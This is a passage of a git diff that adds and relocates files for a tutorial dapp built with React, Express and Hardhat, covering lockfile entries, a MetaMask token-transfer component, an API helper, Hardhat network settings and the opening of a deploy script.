+        "workbox-cacheable-response": "6.5.4",
+        "workbox-core": "6.5.4",
+        "workbox-expiration": "6.5.4",
+        "workbox-precaching": "6.5.4",
+        "workbox-routing": "6.5.4",
+        "workbox-strategies": "6.5.4"
+      }
+    },
+    "node_modules/workbox-routing": {
+      "version": "6.5.4",
+      "resolved": "https://registry.npmjs.org/workbox-routing/-/workbox-routing-6.5.4.tgz",
+      "integrity": "sha512-apQswLsbrrOsBUWtr9Lf80F+P1sHnQdYodRo32SjiByYi36IDyL2r7BH1lJtFX8fwNHDa1QOVY74WKLLS6o5Pg==",
+      "dependencies": {
+        "workbox-core": "6.5.4"
+      }
+    },
+    "node_modules/workbox-strategies": {
+      "version": "6.5.4",
+      "resolved": "https://registry.npmjs.org/workbox-strategies/-/workbox-strategies-6.5.4.tgz",
+      "integrity": "sha512-DEtsxhx0LIYWkJBTQolRxG4EI0setTJkqR4m7r4YpBdxtWJH1Mbg01Cj8ZjNOO8etqfA3IZaOPHUxCs8cBsKLw==",
+      "dependencies": {
+        "workbox-core": "6.5.4"
+      }
+    },
+    "node_modules/workbox-streams": {
+      "version": "6.5.4",
+      "resolved": "https://registry.npmjs.org/workbox-streams/-/workbox-streams-6.5.4.tgz",
+      "integrity": "sha512-FXKVh87d2RFXkliAIheBojBELIPnWbQdyDvsH3t74Cwhg0fDheL1T8BqSM86hZvC0ZESLsznSYWw+Va+KVbUzg==",
+      "dependencies": {
+        "workbox-core": "6.5.4",
+        "workbox-routing": "6.5.4"
+      }
+    },
+    "node_modules/workbox-sw": {
+      "version": "6.5.4",
+      "resolved": "https://registry.npmjs.org/workbox-sw/-/workbox-sw-6.5.4.tgz",
+      "integrity": "sha512-vo2RQo7DILVRoH5LjGqw3nphavEjK4Qk+FenXeUsknKn14eCNedHOXWbmnvP4ipKhlE35pvJ4yl4YYf6YsJArA=="
+    },
+    "node_modules/workbox-webpack-plugin": {
+      "version": "6.5.4",
+      "resolved": "https://registry.npmjs.org/workbox-webpack-plugin/-/workbox-webpack-plugin-6.5.4.tgz",
+      "integrity": "sha512-LmWm/zoaahe0EGmMTrSLUi+BjyR3cdGEfU3fS6PN1zKFYbqAKuQ+Oy/27e4VSXsyIwAw8+QDfk1XHNGtZu9nQg==",
+      "dependencies": {
+        "fast-json-stable-stringify": "^2.1.0",
+        "pretty-bytes": "^5.4.1",
+        "upath": "^1.2.0",
+        "webpack-sources": "^1.4.3",
+        "workbox-build": "6.5.4"
+      },
+      "engines": {
+        "node": ">=10.0.0"
+      },
+      "peerDependencies": {
+        "webpack": "^4.4.0 || ^5.9.0"
+      }
+    },
+    "node_modules/workbox-webpack-plugin/node_modules/webpack-sources": {
+      "version": "1.4.3",
+      "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-1.4.3.tgz",
+      "integrity": "sha512-lgTS3Xhv1lCOKo7SA5TjKXMjpSM4sBjNV5+q2bqesbSPs5FjGmU6jjtBSkX9b4qW87vDIsCIlUPOEhbZrMdjeQ==",
+      "dependencies": {
+        "source-list-map": "^2.0.0",
+        "source-map": "~0.6.1"
+      }
+    },
+    "node_modules/workbox-window": {
+      "version": "6.5.4",
+      "resolved": "https://registry.npmjs.org/workbox-window/-/workbox-window-6.5.4.tgz",
+      "integrity": "sha512-HnLZJDwYBE+hpG25AQBO8RUWBJRaCsI9ksQJEp3aCOFCaG5kqaToAYXFRAHxzRluM2cQbGzdQF5rjKPWPA1fug==",
+      "dependencies": {
+        "@types/trusted-types": "^2.0.2",
+        "workbox-core": "6.5.4"
+      }
+    },
+    "node_modules/wrap-ansi": {
+      "version": "7.0.0",
+      "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz",
+      "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==",
+      "dependencies": {
+        "ansi-styles": "^4.0.0",
+        "string-width": "^4.1.0",
+        "strip-ansi": "^6.0.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/wrap-ansi?sponsor=1"
+      }
+    },
+    "node_modules/wrappy": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz",
+      "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ=="
+    },
+    "node_modules/write-file-atomic": {
+      "version": "3.0.3",
+      "resolved": "https://registry.npmjs.org/write-file-atomic/-/write-file-atomic-3.0.3.tgz",
+      "integrity": "sha512-AvHcyZ5JnSfq3ioSyjrBkH9yW4m7Ayk8/9My/DD9onKeu/94fwrMocemO2QAJFAlnnDN+ZDS+ZjAR5ua1/PV/Q==",
+      "dependencies": {
+        "imurmurhash": "^0.1.4",
+        "is-typedarray": "^1.0.0",
+        "signal-exit": "^3.0.2",
+        "typedarray-to-buffer": "^3.1.5"
+      }
+    },
+    "node_modules/ws": {
+      "version": "7.5.9",
+      "resolved": "https://registry.npmjs.org/ws/-/ws-7.5.9.tgz",
+      "integrity": "sha512-F+P9Jil7UiSKSkppIiD94dN07AwvFixvLIj1Og1Rl9GGMuNipJnV9JzjD6XuqmAeiswGvUmNLjr5cFuXwNS77Q==",
+      "engines": {
+        "node": ">=8.3.0"
+      },
+      "peerDependencies": {
+        "bufferutil": "^4.0.1",
+        "utf-8-validate": "^5.0.2"
+      },
+      "peerDependenciesMeta": {
+        "bufferutil": {
+          "optional": true
+        },
+        "utf-8-validate": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/xml-name-validator": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-3.0.0.tgz",
+      "integrity": "sha512-A5CUptxDsvxKJEU3yO6DuWBSJz/qizqzJKOMIfUJHETbBw/sFaDxgd6fxm1ewUaM0jZ444Fc5vC5ROYurg/4Pw=="
+    },
+    "node_modules/xmlchars": {
+      "version": "2.2.0",
+      "resolved": "https://registry.npmjs.org/xmlchars/-/xmlchars-2.2.0.tgz",
+      "integrity": "sha512-JZnDKK8B0RCDw84FNdDAIpZK+JuJw+s7Lz8nksI7SIuU3UXJJslUthsi+uWBUYOwPFwW7W7PRLRfUKpxjtjFCw=="
+    },
+    "node_modules/xtend": {
+      "version": "4.0.2",
+      "resolved": "https://registry.npmjs.org/xtend/-/xtend-4.0.2.tgz",
+      "integrity": "sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==",
+      "engines": {
+        "node": ">=0.4"
+      }
+    },
+    "node_modules/y18n": {
+      "version": "5.0.8",
+      "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz",
+      "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==",
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/yallist": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz",
+      "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A=="
+    },
+    "node_modules/yaml": {
+      "version": "1.10.2",
+      "resolved": "https://registry.npmjs.org/yaml/-/yaml-1.10.2.tgz",
+      "integrity": "sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg==",
+      "engines": {
+        "node": ">= 6"
+      }
+    },
+    "node_modules/yargs": {
+      "version": "16.2.0",
+      "resolved": "https://registry.npmjs.org/yargs/-/yargs-16.2.0.tgz",
+      "integrity": "sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw==",
+      "dependencies": {
+        "cliui": "^7.0.2",
+        "escalade": "^3.1.1",
+        "get-caller-file": "^2.0.5",
+        "require-directory": "^2.1.1",
+        "string-width": "^4.2.0",
+        "y18n": "^5.0.5",
+        "yargs-parser": "^20.2.2"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/yargs-parser": {
+      "version": "20.2.9",
+      "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-20.2.9.tgz",
+      "integrity": "sha512-y11nGElTIV+CT3Zv9t7VKl+Q3hTQoT9a1Qzezhhl6Rp21gJ/IVTW7Z3y9EWXhuUBC2Shnf+DX0antecpAwSP8w==",
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/yocto-queue": {
+      "version": "0.1.0",
+      "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz",
+      "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    }
+  }
+}
diff --git a/basic/11-react-express-hardhat/frontend/package.json b/basic/11-react-express-hardhat/frontend/package.json
new file mode 100644
index 000000000..8f125c22a
--- /dev/null
+++ b/basic/11-react-express-hardhat/frontend/package.json
@@ -0,0 +1,41 @@
+{
+  "name": "frontend",
+  "version": "0.1.0",
+  "private": true,
+  "dependencies": {
+    "@testing-library/jest-dom": "^5.11.4",
+    "@testing-library/react": "^11.1.0",
+    "@testing-library/user-event": "^12.1.10",
+    "axios": "^1.6.0",
+    "bootstrap": "^5.0.1",
+    "react": "^17.0.2",
+    "react-bootstrap": "^1.6.1",
+    "react-dom": "^17.0.2",
+    "react-scripts": "5.0.1",
+    "web-vitals": "^1.0.1"
+  },
+  "scripts": {
+    "start": "react-scripts start",
+    "build": "react-scripts build",
+    "test": "react-scripts test",
+    "eject": "react-scripts eject"
+  },
+  "eslintConfig": {
+    "extends": [
+      "react-app",
+      "react-app/jest"
+    ]
+  },
+  "browserslist": {
+    "production": [
+      ">0.2%",
+      "not dead",
+      "not op_mini all"
+    ],
+    "development": [
+      "last 1 chrome version",
+      "last 1 firefox version",
+      "last 1 safari version"
+    ]
+  }
+}
diff --git a/Example11-react-express-hardhat/frontend/public/favicon.ico b/basic/11-react-express-hardhat/frontend/public/favicon.ico
similarity index 100%
rename from Example11-react-express-hardhat/frontend/public/favicon.ico
rename to basic/11-react-express-hardhat/frontend/public/favicon.ico
diff --git a/Example11-react-express-hardhat/frontend/public/index.html b/basic/11-react-express-hardhat/frontend/public/index.html
similarity index 100%
rename from Example11-react-express-hardhat/frontend/public/index.html
rename to basic/11-react-express-hardhat/frontend/public/index.html
diff --git a/Example11-react-express-hardhat/frontend/public/logo192.png b/basic/11-react-express-hardhat/frontend/public/logo192.png
similarity index 100%
rename from Example11-react-express-hardhat/frontend/public/logo192.png
rename to basic/11-react-express-hardhat/frontend/public/logo192.png
diff --git a/Example11-react-express-hardhat/frontend/public/logo512.png b/basic/11-react-express-hardhat/frontend/public/logo512.png
similarity index 100%
rename from Example11-react-express-hardhat/frontend/public/logo512.png
rename to basic/11-react-express-hardhat/frontend/public/logo512.png
diff --git a/Example11-react-express-hardhat/frontend/public/manifest.json b/basic/11-react-express-hardhat/frontend/public/manifest.json
similarity index 100%
rename from Example11-react-express-hardhat/frontend/public/manifest.json
rename to basic/11-react-express-hardhat/frontend/public/manifest.json
diff --git a/Example11-react-express-hardhat/frontend/public/robots.txt b/basic/11-react-express-hardhat/frontend/public/robots.txt
similarity index 100%
rename from Example11-react-express-hardhat/frontend/public/robots.txt
rename to basic/11-react-express-hardhat/frontend/public/robots.txt
diff --git a/basic/11-react-express-hardhat/frontend/src/api.js b/basic/11-react-express-hardhat/frontend/src/api.js
new file mode 100644
index 000000000..dcd58b084
--- /dev/null
+++ b/basic/11-react-express-hardhat/frontend/src/api.js
@@ -0,0 +1,32 @@
+/* eslint-disable */
+// 小程序开发api接口工具包，https://github.com/gooking/wxapi
+import authorizationConf from './authorization_conf.json'
+var API_BASE_URL = "http://127.0.0.1:4001";
+const axios = require("axios").default;
+
+let request = (url, method, data) => {
+  const _url = API_BASE_URL + url;
+  const header = {
+    "Content-Type": "application/json",
+    Authorization: authorizationConf.Authorization,
+  };
+  return new Promise((resolve, reject) => {
+    axios({
+      url: _url,
+      method: method,
+      data: data,
+      header,
+    }).then((res) => {
+      resolve(res);
+    });
+  });
+};
+
+export function receipt_create(data) {
+    return request("/receipt/create", "post", data);
+  }
+
+export function receipt_list(adress) {
+    return request("/receipt/all?from=" + adress, "get", {});
+  }
+
diff --git a/basic/11-react-express-hardhat/frontend/src/authorization_conf.json b/basic/11-react-express-hardhat/frontend/src/authorization_conf.json
new file mode 100644
index 000000000..d79db055c
--- /dev/null
+++ b/basic/11-react-express-hardhat/frontend/src/authorization_conf.json
@@ -0,0 +1,3 @@
+{
+    "Authorization": "Token "
+}
\ No newline at end of file
diff --git a/Example11-react-express-hardhat/frontend/src/components/ConnectWallet.js b/basic/11-react-express-hardhat/frontend/src/components/ConnectWallet.js
similarity index 100%
rename from Example11-react-express-hardhat/frontend/src/components/ConnectWallet.js
rename to basic/11-react-express-hardhat/frontend/src/components/ConnectWallet.js
diff --git a/basic/11-react-express-hardhat/frontend/src/components/Dapp.js b/basic/11-react-express-hardhat/frontend/src/components/Dapp.js
new file mode 100644
index 000000000..fa0cfa53c
--- /dev/null
+++ b/basic/11-react-express-hardhat/frontend/src/components/Dapp.js
@@ -0,0 +1,381 @@
+import React from "react";
+
+// We'll use ethers to interact with the Ethereum network and our contract
+import { ethers } from "ethers";
+
+// We import the contract's artifacts and address here, as we are going to be
+// using them with ethers
+import TokenArtifact from "../contracts/Token.json";
+import contractAddress from "../contracts/contract-address.json";
+
+// All the logic of this dapp is contained in the Dapp component.
+// These other components are just presentational ones: they don't have any
+// logic. They just render HTML.
+import { NoWalletDetected } from "./NoWalletDetected";
+import { ConnectWallet } from "./ConnectWallet";
+import { Loading } from "./Loading";
+import { Transfer } from "./Transfer";
+import { TransactionErrorMessage } from "./TransactionErrorMessage";
+import { WaitingForTransactionMessage } from "./WaitingForTransactionMessage";
+import { NoTokensMessage } from "./NoTokensMessage";
+import { Receipt } from "./Receipt";
+import { receipt_create, receipt_list} from '../api.js'
+
+// This is the Hardhat Network id, you might change it in the hardhat.config.js
+// Here's a list of network ids https://docs.metamask.io/guide/ethereum-provider.html#properties
+// to use when deploying to other networks.
+
+const HARDHAT_NETWORK_ID = "11155111"; //sepolia network ID
+// This is an error code that indicates that the user canceled a transaction
+const ERROR_CODE_TX_REJECTED_BY_USER = 4001;
+
+// This component is in charge of doing these things:
+//   1. It connects to the user's wallet
+//   2. Initializes ethers and the Token contract
+//   3. Polls the user balance to keep it updated.
+//   4. Transfers tokens by sending transactions
+//   5. Renders the whole application
+//
+// Note that (3) and (4) are specific of this sample application, but they show
+// you how to keep your Dapp and contract's state in sync,  and how to send a
+// transaction.
+export class Dapp extends React.Component {
+  constructor(props) {
+    super(props);
+
+    // We store multiple things in Dapp's state.
+    // You don't need to follow this pattern, but it's an useful example.
+    this.initialState = {
+      // The info of the token (i.e. It's Name and symbol)
+      tokenData: undefined,
+      // The user's address and balance
+      selectedAddress: undefined,
+      balance: undefined,
+      // The ID about transactions being sent, and any possible error with them
+      txBeingSent: undefined,
+      transactionError: undefined,
+      networkError: undefined,
+      receipts: [],
+    };
+
+    this.state = this.initialState;
+  }
+
+  render() {
+    // Ethereum wallets inject the window.ethereum object. If it hasn't been
+    // injected, we instruct the user to install MetaMask.
+    if (window.ethereum === undefined) {
+      return <NoWalletDetected />;
+    }
+
+    // The next thing we need to do, is to ask the user to connect their wallet.
+    // When the wallet gets connected, we are going to save the users's address
+    // in the component's state. So, if it hasn't been saved yet, we have
+    // to show the ConnectWallet component.
+    //
+    // Note that we pass it a callback that is going to be called when the user
+    // clicks a button. This callback just calls the _connectWallet method.
+    if (!this.state.selectedAddress) {
+      return (
+        <ConnectWallet
+          connectWallet={() => this._connectWallet()}
+          networkError={this.state.networkError}
+          dismiss={() => this._dismissNetworkError()}
+        />
+      );
+    }
+
+    // If the token data or the user's balance hasn't loaded yet, we show
+    // a loading component.
+    if (!this.state.tokenData || !this.state.balance) {
+      return <Loading />;
+    }
+
+    // If everything is loaded, we render the application.
+    return (
+      <div className="container p-4">
+        <div className="row">
+          <div className="col-12">
+            <h1>
+              {this.state.tokenData.name} ({this.state.tokenData.symbol})
+            </h1>
+            <p>
+              Welcome <b>{this.state.selectedAddress}</b>, you have{" "}
+              <b>
+                {this.state.balance.toString()} {this.state.tokenData.symbol}
+              </b>
+              .
+            </p>
+          </div>
+        </div>
+
+        <hr />
+
+        <div className="row">
+          <div className="col-12">
+            {/*
+              Sending a transaction isn't an immidiate action. You have to wait
+              for it to be mined.
+              If we are waiting for one, we show a message here.
+            */}
+            {this.state.txBeingSent && (
+              <WaitingForTransactionMessage txHash={this.state.txBeingSent} />
+            )}
+
+            {/*
+              Sending a transaction can fail in multiple ways.
+              If that happened, we show a message here.
+            */}
+            {this.state.transactionError && (
+              <TransactionErrorMessage
+                message={this._getRpcErrorMessage(this.state.transactionError)}
+                dismiss={() => this._dismissTransactionError()}
+              />
+            )}
+          </div>
+        </div>
+
+        <div className="row">
+          <div className="col-12">
+            {/*
+              If the user has no tokens, we don't show the Transfer form
+            */}
+            {this.state.balance.eq(0) && (
+              <NoTokensMessage selectedAddress={this.state.selectedAddress} />
+            )}
+
+            {/*
+              This component displays a form that the user can use to send a
+              transaction and transfer some tokens.
+              The component doesn't have logic, it just calls the transferTokens
+              callback.
+            */}
+            {this.state.balance.gt(0) && (
+              <>
+                <Transfer
+                  transferTokens={(to, amount) =>
+                    this._transferTokens(to, amount)
+                  }
+                  tokenSymbol={this.state.tokenData.symbol}
+                />
+                {this.state.receipts.map((receipt) => (
+                  <Receipt receipt={receipt} />
+                ))}
+              </>
+            )}
+          </div>
+        </div>
+      </div>
+    );
+  }
+
+  componentWillUnmount() {
+    // We poll the user's balance, so we have to stop doing that when Dapp
+    // gets unmounted
+    this._stopPollingData();
+  }
+
+  async _connectWallet() {
+    // This method is run when the user clicks the Connect. It connects the
+    // dapp to the user's wallet, and initializes it.
+
+    // To connect to the user's wallet, we have to run this method.
+    // It returns a promise that will resolve to the user's address.
+    const [selectedAddress] = await window.ethereum.enable();
+
+    // Once we have the address, we can initialize the application.
+
+    // First we check the network
+    if (!this._checkNetwork()) {
+      return;
+    }
+
+    this._initialize(selectedAddress);
+
+    // We reinitialize it whenever the user changes their account.
+    window.ethereum.on("accountsChanged", ([newAddress]) => {
+      this._stopPollingData();
+      // `accountsChanged` event can be triggered with an undefined newAddress.
+      // This happens when the user removes the Dapp from the "Connected
+      // list of sites allowed access to your addresses" (Metamask > Settings > Connections)
+      // To avoid errors, we reset the dapp state
+      if (newAddress === undefined) {
+        return this._resetState();
+      }
+
+      this._initialize(newAddress);
+    });
+
+    // We reset the dapp state if the network is changed
+    window.ethereum.on("networkChanged", ([networkId]) => {
+      this._stopPollingData();
+      this._resetState();
+    });
+  }
+
+  _initialize(userAddress) {
+    // This method initializes the dapp
+
+    // We first store the user's address in the component's state
+    this.setState({
+      selectedAddress: userAddress,
+    });
+
+    // Then, we initialize ethers, fetch the token's data, and start polling
+    // for the user's balance.
+
+    // Fetching the token data and the user's balance are specific to this
+    // sample project, but you can reuse the same initialization pattern.
+    this._intializeEthers();
+    this._getTokenData();
+    this._startPollingData();
+  }
+
+  async _intializeEthers() {
+    // We first initialize ethers by creating a provider using window.ethereum
+    this._provider = new ethers.providers.Web3Provider(window.ethereum);
+    // When, we initialize the contract using that provider and the token's
+    // artifact. You can do this same thing with your contracts.
+    this._token = new ethers.Contract(
+      contractAddress.Token,
+      TokenArtifact.abi,
+      this._provider.getSigner(0)
+    );
+  }
+
+  // The next to methods are needed to start and stop polling data. While
+  // the data being polled here is specific to this example, you can use this
+  // pattern to read any data from your contracts.
+  //
+  // Note that if you don't need it to update in near real time, you probably
+  // don't need to poll it. If that's the case, you can just fetch it when you
+  // initialize the app, as we do with the token data.
+  _startPollingData() {
+    this._pollDataInterval = setInterval(() => this._updateBalance(), 2000);
+
+    // We run it once immediately so we don't have to wait for it
+    this._updateBalance();
+  }
+
+  _stopPollingData() {
+    clearInterval(this._pollDataInterval);
+    this._pollDataInterval = undefined;
+  }
+
+  // The next two methods just read from the contract and store the results
+  // in the component state.
+  async _getTokenData() {
+    const name = await this._token.name();
+    const symbol = await this._token.symbol();
+
+    this.setState({ tokenData: { name, symbol } });
+  }
+
+  async _updateBalance() {
+    const balance = await this._token.balanceOf(this.state.selectedAddress);
+    this.setState({ balance });
+
+    receipt_list(this.state.selectedAddress).then((res) => {
+      this.setState({ receipts: res.data });
+    });
+  }
+
+  // This method sends an ethereum transaction to transfer tokens.
+  // While this action is specific to this application, it illustrates how to
+  // send a transaction.
+  async _transferTokens(to, amount) {
+    // Sending a transaction is a complex operation:
+    //   - The user can reject it
+    //   - It can fail before reaching the ethereum network (i.e. if the user
+    //     doesn't have ETH for paying for the tx's gas)
+    //   - It has to be mined, so it isn't immediately confirmed.
+    //     Note that some testing networks, like Hardhat Network, do mine
+    //     transactions immediately, but your dapp should be prepared for
+    //     other networks.
+    //   - It can fail once mined.
+    //
+    // This method handles all of those things, so keep reading to learn how to
+    // do it.
+
+    try {
+      // If a transaction fails, we save that error in the component's state.
+      // We only save one such error, so before sending a second transaction, we
+      // clear it.
+      this._dismissTransactionError();
+
+      // We send the transaction, and save its hash in the Dapp's state. This
+      // way we can indicate that we are waiting for it to be mined.
+      const tx = await this._token.transfer(to, amount);
+      this.setState({ txBeingSent: tx.hash });
+
+      // We use .wait() to wait for the transaction to be mined. This method
+      // returns the transaction's receipt.
+      const receipt = await tx.wait();
+      if (receipt.status === 0) {
+        // We can't know the exact error that make the transaction fail once it
+        // was mined, so we throw this generic one.
+        throw new Error("Transaction failed");
+      }
+
+      receipt_create(receipt);
+
+      // If we got here, the transaction was successful, so you may want to
+      // update your state. Here, we update the user's balance.
+      await this._updateBalance();
+    } catch (error) {
+      // We check the error code to see if this error was produced because the
+      // user rejected a tx. If that's the case, we do nothing.
+      if (error.code === ERROR_CODE_TX_REJECTED_BY_USER) {
+        return;
+      }
+
+      // Other errors are logged and stored in the Dapp's state. This is used to
+      // show them to the user, and for debugging.
+      console.error(error);
+      this.setState({ transactionError: error });
+    } finally {
+      // If we leave the try/catch, we aren't sending a tx anymore, so we clear
+      // this part of the state.
+      this.setState({ txBeingSent: undefined });
+    }
+  }
+
+  // This method just clears part of the state.
+  _dismissTransactionError() {
+    this.setState({ transactionError: undefined });
+  }
+
+  // This method just clears part of the state.
+  _dismissNetworkError() {
+    this.setState({ networkError: undefined });
+  }
+
+  // This is an utility method that turns an RPC error into a human readable
+  // message.
+  _getRpcErrorMessage(error) {
+    if (error.data) {
+      return error.data.message;
+    }
+
+    return error.message;
+  }
+
+  // This method resets the state
+  _resetState() {
+    this.setState(this.initialState);
+  }
+
+  // This method checks if Metamask selected network is Localhost:8545
+  _checkNetwork () {
+    console.log(window.ethereum.networkVersion)
+    if (window.ethereum.networkVersion === HARDHAT_NETWORK_ID) {
+      return true;
+    }
+
+    this.setState({
+      networkError: "Please connect Metamask to kovan",
+    });
+
+    return false;
+  }
+}
diff --git a/Example11-react-express-hardhat/frontend/src/components/Loading.js b/basic/11-react-express-hardhat/frontend/src/components/Loading.js
similarity index 100%
rename from Example11-react-express-hardhat/frontend/src/components/Loading.js
rename to basic/11-react-express-hardhat/frontend/src/components/Loading.js
diff --git a/Example11-react-express-hardhat/frontend/src/components/NetworkErrorMessage.js b/basic/11-react-express-hardhat/frontend/src/components/NetworkErrorMessage.js
similarity index 100%
rename from Example11-react-express-hardhat/frontend/src/components/NetworkErrorMessage.js
rename to basic/11-react-express-hardhat/frontend/src/components/NetworkErrorMessage.js
diff --git a/Example11-react-express-hardhat/frontend/src/components/NoTokensMessage.js b/basic/11-react-express-hardhat/frontend/src/components/NoTokensMessage.js
similarity index 100%
rename from Example11-react-express-hardhat/frontend/src/components/NoTokensMessage.js
rename to basic/11-react-express-hardhat/frontend/src/components/NoTokensMessage.js
diff --git a/Example11-react-express-hardhat/frontend/src/components/NoWalletDetected.js b/basic/11-react-express-hardhat/frontend/src/components/NoWalletDetected.js
similarity index 100%
rename from Example11-react-express-hardhat/frontend/src/components/NoWalletDetected.js
rename to basic/11-react-express-hardhat/frontend/src/components/NoWalletDetected.js
diff --git a/Example11-react-express-hardhat/frontend/src/components/Receipt.js b/basic/11-react-express-hardhat/frontend/src/components/Receipt.js
similarity index 100%
rename from Example11-react-express-hardhat/frontend/src/components/Receipt.js
rename to basic/11-react-express-hardhat/frontend/src/components/Receipt.js
diff --git a/Example11-react-express-hardhat/frontend/src/components/TransactionErrorMessage.js b/basic/11-react-express-hardhat/frontend/src/components/TransactionErrorMessage.js
similarity index 100%
rename from Example11-react-express-hardhat/frontend/src/components/TransactionErrorMessage.js
rename to basic/11-react-express-hardhat/frontend/src/components/TransactionErrorMessage.js
diff --git a/Example11-react-express-hardhat/frontend/src/components/Transfer.js b/basic/11-react-express-hardhat/frontend/src/components/Transfer.js
similarity index 100%
rename from Example11-react-express-hardhat/frontend/src/components/Transfer.js
rename to basic/11-react-express-hardhat/frontend/src/components/Transfer.js
diff --git a/Example11-react-express-hardhat/frontend/src/components/WaitingForTransactionMessage.js b/basic/11-react-express-hardhat/frontend/src/components/WaitingForTransactionMessage.js
similarity index 100%
rename from Example11-react-express-hardhat/frontend/src/components/WaitingForTransactionMessage.js
rename to basic/11-react-express-hardhat/frontend/src/components/WaitingForTransactionMessage.js
diff --git a/Example11-react-express-hardhat/frontend/src/contracts/SimpleToken.json b/basic/11-react-express-hardhat/frontend/src/contracts/SimpleToken.json
similarity index 100%
rename from Example11-react-express-hardhat/frontend/src/contracts/SimpleToken.json
rename to basic/11-react-express-hardhat/frontend/src/contracts/SimpleToken.json
diff --git a/Example11-react-express-hardhat/frontend/src/contracts/Token.json b/basic/11-react-express-hardhat/frontend/src/contracts/Token.json
similarity index 100%
rename from Example11-react-express-hardhat/frontend/src/contracts/Token.json
rename to basic/11-react-express-hardhat/frontend/src/contracts/Token.json
diff --git a/Example11-react-express-hardhat/frontend/src/index.js b/basic/11-react-express-hardhat/frontend/src/index.js
similarity index 100%
rename from Example11-react-express-hardhat/frontend/src/index.js
rename to basic/11-react-express-hardhat/frontend/src/index.js
diff --git a/basic/11-react-express-hardhat/hardhat.config.js b/basic/11-react-express-hardhat/hardhat.config.js
new file mode 100644
index 000000000..513cc6b77
--- /dev/null
+++ b/basic/11-react-express-hardhat/hardhat.config.js
@@ -0,0 +1,44 @@
+require("@nomicfoundation/hardhat-toolbox");
+require('dotenv').config();
+
+// This is a sample Hardhat task. To learn how to create your own go to
+// https://hardhat.org/guides/create-task.html
+task('accounts', 'Prints the list of accounts', async () => {
+  const accounts = await ethers.getSigners();
+
+  for (const account of accounts) {
+    console.log(account.address);
+  }
+});
+
+function mnemonic() {
+  return process.env.PRIVATE_KEY;
+}
+
+// You need to export an object to set up your config
+// Go to https://hardhat.org/config/ to learn more
+
+/**
+ * @type import('hardhat/config').HardhatUserConfig
+ */
+module.exports = {
+  solidity: '0.8.0',
+  networks: {
+    localhost: {
+      url: 'http://localhost:8545',
+      //gasPrice: 125000000000,  // you can adjust gasPrice locally to see how much it will cost on production
+      /*
+        notice no mnemonic here? it will just use account 0 of the hardhat node to deploy
+        (you can put in a mnemonic here to set the deployer locally)
+      */
+    },
+    sepolia: {
+      url: 'https://sepolia.infura.io/v3/' + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [mnemonic()],
+    },
+    mainnet: {
+      url: 'https://mainnet.infura.io/v3/' + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [mnemonic()],
+    },
+  },
+};
\ No newline at end of file
diff --git a/basic/11-react-express-hardhat/package.json b/basic/11-react-express-hardhat/package.json
new file mode 100644
index 000000000..a5cfbb39f
--- /dev/null
+++ b/basic/11-react-express-hardhat/package.json
@@ -0,0 +1,19 @@
+{
+  "name": "11-react-express-hardhat",
+  "version": "1.0.0",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "keywords": [],
+  "author": "",
+  "license": "ISC",
+  "dependencies": {
+    "dotenv": "^16.4.5",
+    "hardhat": "^2.22.2"
+  },
+  "devDependencies": {
+    "@nomicfoundation/hardhat-toolbox": "^5.0.0"
+  }
+}
diff --git a/basic/11-react-express-hardhat/scripts/deploy.js b/basic/11-react-express-hardhat/scripts/deploy.js
new file mode 100644
index 000000000..0d65f1b77
--- /dev/null
+++ b/basic/11-react-express-hardhat/scripts/deploy.js
@@ -0,0 +1,58 @@
+// This is a script for deploying your contracts. You can adapt it to deploy
+// yours, or create new ones.
+async function main() {
+  // This is just a convenience check
+  if (network.name === 'hardhat') {
+    console.warn(
+      'You are trying to deploy a contract to the Hardhat Network, which' +
+        'gets automatically created and destroyed every time. Use the Hardhat' +
+        " option '--network localhost'"
+    )
+  }
+
+  // ethers is avaialble in the global scope
+  const [deployer] = await ethers.getSigners()
+  console.log(
+    'Deploying the contracts with the account:',
+    await deployer.getAddress()
+  )
+
